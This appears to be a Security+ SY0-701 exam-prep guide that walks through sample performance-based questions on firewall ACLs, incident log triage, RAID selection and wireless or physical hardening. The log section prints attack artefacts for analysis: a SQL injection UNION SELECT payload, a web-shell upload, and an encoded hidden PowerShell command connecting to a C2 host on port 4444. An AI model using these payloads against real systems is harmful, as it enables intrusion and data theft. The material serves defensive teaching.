You walk into the Pearson VUE testing center, surrender your phone, empty your pockets, sit down in a dimly lit cubicle, and accept the non-disclosure agreement. Your pulse is pounding in your ears. You click "Begin Exam", expecting a gentle warm-up question about the CIA triad or hashing algorithms.
Instead, the screen flickers, and you are hit square in the face with a sprawling, multi-tab simulation:
A network topology diagram with six subnets, three blank firewall access control lists (ACLs), ten draggable dropdown menus, and a clock ticking down from 90 minutes.
This is the CompTIA Performance-Based Question (PBQ) ambush.
CompTIA deliberately places between two and five PBQs at the very start of the Security+ (SY0-701) exam. They know candidates are at their peak neurological stress in the first ten minutes. Candidates freeze, spend 25 minutes agonizing over a single firewall dropdown, watch their time evaporate, panic, and subsequently rush through the remaining 75 multiple-choice questions—failing an exam they were technically prepared to pass.
In this field manual, we will deconstruct the four most common PBQ simulation archetypes tested in the active SY0-701 blueprint: Firewall ACL Configuration, Incident Log Analysis, RAID Storage Arrays, and Wireless Network Hardening.
1. The PBQ Scoring Secrets (And The "Skip" Strategy)
Before touching a single rule table, you must understand how CompTIA evaluates these simulations.
When Question 1 loads and you see a PBQ simulation, do not solve it.
Click the "Flag for Review" button and click "Next". Repeat this for Questions 2, 3, and 4 until you reach your first standard multiple-choice question.
[Click "Begin Exam"]
│
├──> Question 1: [PBQ] Firewall ACLs ───> [FLAG & SKIP]
├──> Question 2: [PBQ] Log Analysis ───> [FLAG & SKIP]
├──> Question 3: [PBQ] RAID Arrays ───> [FLAG & SKIP]
│
└──> Question 4: [Multiple Choice] What is the primary purpose of Salting?
│
v
[Sprint Q4 - Q78 Multiple Choice in 50 Minutes]
(Bank your baseline points, settle exam anxiety)
│
v
[Return to Flagged PBQs with 40 Minutes of Calm Time]
Why? Because answering 70 multiple-choice questions in 50 minutes gives you a massive psychological cushion. You enter the final 40 minutes knowing that even if a PBQ is confusing, your baseline passing score is already banked.
Secret 2: Partial Credit is Real
Unlike multiple-choice questions where picking option B instead of C gives you exactly 0 points, CompTIA awards partial credit on PBQs. If a firewall simulation requires six rules and you configure five of them flawlessly, you earn the vast majority of points for that simulation. Never leave a PBQ blank.
Secret 3: The Unscored Experimental PBQ
Almost every exam contains at least one experimental PBQ that CompTIA is beta-testing for future iterations. It does not count towards your 750 passing score. If a simulation seems completely out-of-scope or absurdly convoluted, maintain your composure—it may very well be an unscored beta question.
2. PBQ Scenario 1: Enterprise Perimeter & DMZ Firewall ACLs
This is the quintessential Security+ PBQ. You are presented with an architectural topology diagram and three empty firewall rule tables.
+-------------------+
| INTERNET |
+---------+---------+
|
v
+---------+---------+
| Perimeter Firewall|
| (FW-01) |
+---------+---------+
|
+-----------------+-----------------+
| |
v v
+---------+---------+ +---------+---------+
| DMZ Subnet | | Internal LAN |
| 192.168.10.0/24 | | 10.0.0.0/24 |
| | | |
| Web Server (.10) | | Workstations (.X) |
| Mail Server (.25) | | Internal DB (.50) |
+-------------------+ +-------------------+
The Scenario Requirements
You must configure the inbound and outbound firewall rules on Perimeter Firewall (FW-01) to satisfy these strict operational requirements:
- Public internet clients must be able to securely browse the corporate web application hosted on the DMZ Web Server via HTTPS.
- Inbound internet email traffic must reach the DMZ Mail Server via SMTP.
- The DMZ Web Server must query the Internal Database Server via standard SQL on port 3306.
- Internal LAN workstations must be able to securely browse external websites via HTTPS.
- All other unapproved traffic must be dropped by default.
The Completed Firewall ACL Table
| Rule # |
Action |
Source IP / Subnet |
Source Port |
Destination IP / Subnet |
Destination Port |
Protocol |
Purpose / Requirement |
| 1 |
PERMIT |
ANY |
ANY |
192.168.10.10 |
443 |
TCP |
Inbound HTTPS to DMZ Web Server |
| 2 |
PERMIT |
ANY |
ANY |
192.168.10.25 |
25 |
TCP |
Inbound SMTP to DMZ Mail Server |
| 3 |
PERMIT |
192.168.10.10 |
ANY |
10.0.0.50 |
3306 |
TCP |
DMZ Web Server to Internal MySQL DB |
| 4 |
PERMIT |
10.0.0.0/24 |
ANY |
ANY |
443 |
TCP |
LAN Workstations outbound HTTPS |
| 5 |
DENY |
ANY |
ANY |
ANY |
ANY |
IP / ALL |
Implicit Deny (Drop All Remaining) |
Critical Traps That Cost Candidates Points:
- Trap A: The Source Port Mistake: Candidates mistakenly specify
443 as the Source Port. Remember: client browsers choose random, high-numbered ephemeral ports (e.g., port 54122) as the source! The source port must almost always be configured as ANY. The destination port is where the service listens (443).
- Trap B: Forgetting the Implicit Deny: Firewalls evaluate rules from top to bottom and stop on the first match. If you omit Rule 5 (Deny Any Any), unapproved traffic might traverse the firewall depending on default hardware behavior. Always verify the implicit deny!
- Trap C: Direct Internet to Internal Database: If an answer option suggests permitting
ANY to 10.0.0.50:3306, that is an automatic zero. The database must never be exposed directly to the public internet; only the DMZ web server should talk to the internal database.
3. PBQ Scenario 2: Multi-Source Incident Log Triage
In this simulation, an enterprise security alert has triggered. You are provided with four distinct raw log tabs and must answer four dropdown deduction questions.
Log Tab 1: Perimeter Firewall Drops (fw-traffic.log)
2026-10-24T14:21:02Z FW-01 DROP TCP 198.51.100.77:41202 -> 192.168.10.10:22 (SSH_BLOCKED)
2026-10-24T14:21:05Z FW-01 DROP TCP 198.51.100.77:41204 -> 192.168.10.10:3389 (RDP_BLOCKED)
2026-10-24T14:21:08Z FW-01 PASS TCP 198.51.100.77:41210 -> 192.168.10.10:443 (HTTPS_ALLOWED)
Log Tab 2: Nginx Web Server Access Logs (access.log)
198.51.100.77 - - [24/Oct/2026:14:21:12 +0000] "GET /products.php?id=10 HTTP/1.1" 200 4120
198.51.100.77 - - [24/Oct/2026:14:21:15 +0000] "GET /products.php?id=10' UNION SELECT null,username,password_hash FROM users-- HTTP/1.1" 200 8920
198.51.100.77 - - [24/Oct/2026:14:21:30 +0000] "POST /upload.php HTTP/1.1" 200 512 [file="shell.phtml"]
Log Tab 3: Windows Sysmon Process Creation (Microsoft-Windows-Sysmon/Operational)
EventID: 1
UtcTime: 2026-10-24 14:22:04.112
ProcessId: 4192
Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c "powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA4ADUALgAyADIAMAAuADEAMAAxAC4ANQAI...
ParentImage: C:\xampp\apache\bin\httpd.exe
ParentCommandLine: "C:\xampp\apache\bin\httpd.exe" -k runservice
User: NT AUTHORITY\SYSTEM
Log Tab 4: Network Egress Connection (sysmon-network.log)
EventID: 3
UtcTime: 2026-10-24 14:22:07.842
ProcessId: 4210
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
SourceIp: 192.168.10.10
SourcePort: 49821
DestinationIp: 185.220.101.5
DestinationPort: 4444
Protocol: tcp
The Exam Deduction Questions:
Question 1: What was the initial attack vector used to compromise the server?
- Correct Answer: SQL Injection leading to Remote File Upload (Web Application Vulnerability)
- Analysis: In Tab 2, the attacker probed
products.php?id=10' with a classic UNION SELECT payload, exfiltrating database hashes, followed immediately by a POST request to upload.php uploading a malicious web shell (shell.phtml).
Question 2: Which internal IP address was compromised?
- Correct Answer:
192.168.10.10 (DMZ Web Server)
- Analysis: The web requests and subsequent process execution occurred on the host bound to internal address
192.168.10.10.
Question 3: What is the external Command & Control (C2) destination IP and port?
- Correct Answer:
185.220.101.5 on Port 4444
- Analysis: Sysmon Event ID 3 confirms PowerShell established an outbound TCP connection to
185.220.101.5:4444. Port 4444 is the default Metasploit payload port.
- Correct Answer: Isolate the host (
192.168.10.10) from the network via EDR / virtual switch
- Analysis: The host has an active reverse shell running as
NT AUTHORITY\SYSTEM. Before resetting passwords or editing web code, network containment is required to sever the attacker's active command channel and prevent lateral movement.
4. PBQ Scenario 3: High-Availability Storage & RAID Design
CompTIA loves testing data resilience and RAID arrays in drag-and-drop simulations. You are given a pool of standard 2 TB Hard Drives and must select the optimal RAID level for three distinct corporate systems.
+-----------------------------------------------------------------------------------+
| RAID Level | Min Disks | Fault Tolerance (Drive Failures) | Usable Storage Formula|
+------------+-----------+----------------------------------+-----------------------+
| RAID 0 | 2 Disks | 0 Disks (Zero Tolerance) | Total = N * Size |
| RAID 1 | 2 Disks | 1 Disk Failure | Usable = 1 * Size |
| RAID 5 | 3 Disks | 1 Disk Failure | Usable = (N - 1)* Size|
| RAID 6 | 4 Disks | 2 Disk Failures | Usable = (N - 2)* Size|
| RAID 10 | 4 Disks | Up to 1 per mirrored pair (1-2) | Usable = (N / 2)* Size|
+-----------------------------------------------------------------------------------+
System Requirements:
- System A: Video Rendering Scratch Disk
- Requirement: Maximum possible read/write disk throughput.
- Resilience: Zero fault tolerance required (temporary cache data only).
- Available Disks: 4 x 2 TB drives.
- Optimal Solution: RAID 0 (Striping). Usable storage:
4 * 2 TB = 8 TB. Maximum speed, but if any single drive dies, all data is lost.
- System B: Critical Financial SQL Database
- Requirement: High read performance, fast write speeds, and the ability to survive drive failures without parity write penalties.
- Resilience: Must survive a disk failure and quickly rebuild without degrading database transaction latency.
- Available Disks: 4 x 2 TB drives.
- Optimal Solution: RAID 10 (1+0 Striped Mirrors). Usable storage:
(4 / 2) * 2 TB = 4 TB. Combines striping performance with mirror resilience.
- System C: General Enterprise File Archive
- Requirement: High storage efficiency, cost optimization, and must survive up to two simultaneous drive failures.
- Available Disks: 6 x 2 TB drives.
- Optimal Solution: RAID 6 (Dual Distributed Parity). Usable storage:
(6 - 2) * 2 TB = 8 TB. Can lose two drives simultaneously without data loss.
5. PBQ Scenario 4: Physical & Wireless Security Hardening
In this simulation, you are presented with a building floor plan containing a Reception Lobby, Open Office Area, Executive Boardroom, and a Data Center / Server Room. You are provided with draggable equipment icons.
+-------------------+-----------------------------------+
| Reception Lobby | Open Office Bullpen |
| (Visitors/Guests)| (Corporate Workstations) |
| | |
| [WAP-01 Guest] | [WAP-02 Corp] |
+-------------------+-----------------------------------+
| Executive Office | Server Room / Datacenter |
| [WAP-03 Exec] | |
| | [Mantrap + Biometric Scanner] |
+-------------------+-----------------------------------+
The Required Configuration Choices:
1. Corporate Wireless Configuration (WAP-02 & WAP-03):
- Authentication: WPA3-Enterprise (uses 192-bit cryptographic suite).
- Authentication Backend: 802.1X / RADIUS (Remote Authentication Dial-In User Service) backed by Active Directory / PKI certificates.
- EAP Method: EAP-TLS (Mutual authentication: both client and server present cryptographic X.509 certificates).
2. Guest Wireless Configuration (WAP-01):
- Authentication: Open / WPA3-Personal with Captive Portal.
- Network Isolation: Placed on an isolated Guest VLAN with strict ACLs blocking any routing to the corporate LAN (
10.0.0.0/8).
- Client Isolation: Enabled (prevents connected guest devices from sniffing or attacking each other).
3. Data Center Physical Security:
- Perimeter Access: Mantrap / Air Lock with anti-tailgating weight sensors.
- Authentication: Multi-factor physical authentication: Smartcard badge + Biometric fingerprint / iris scanner.
- Surveillance: CCTV cameras with overlapping fields of view covering entry and exit points.
6. The 5-Point PBQ Pre-Flight Checklist
Before you submit your final exam answers, execute this 30-second audit on every PBQ:
- Check the Scrollbars: Many PBQs have hidden horizontal or vertical scrollbars. Did you scroll down to see the final dropdown or rule row?
- Review Default Rules: Does your firewall ACL have an explicit or implicit deny at the bottom?
- Check Units: Did the question ask for storage capacity in Megabytes (MB), Gigabytes (GB), or Terabytes (TB)?
- Directionality Check: Are your firewall rules configured for the correct interface (Inbound vs Outbound)?
- Never Leave a Blanks: Remember, there is zero negative marking. An educated guess earns partial credit; an empty answer guarantees zero.
Approach PBQs not as obstacles, but as the fastest way to demonstrate practical engineering competence. Master the topology, flag them first, and command the exam.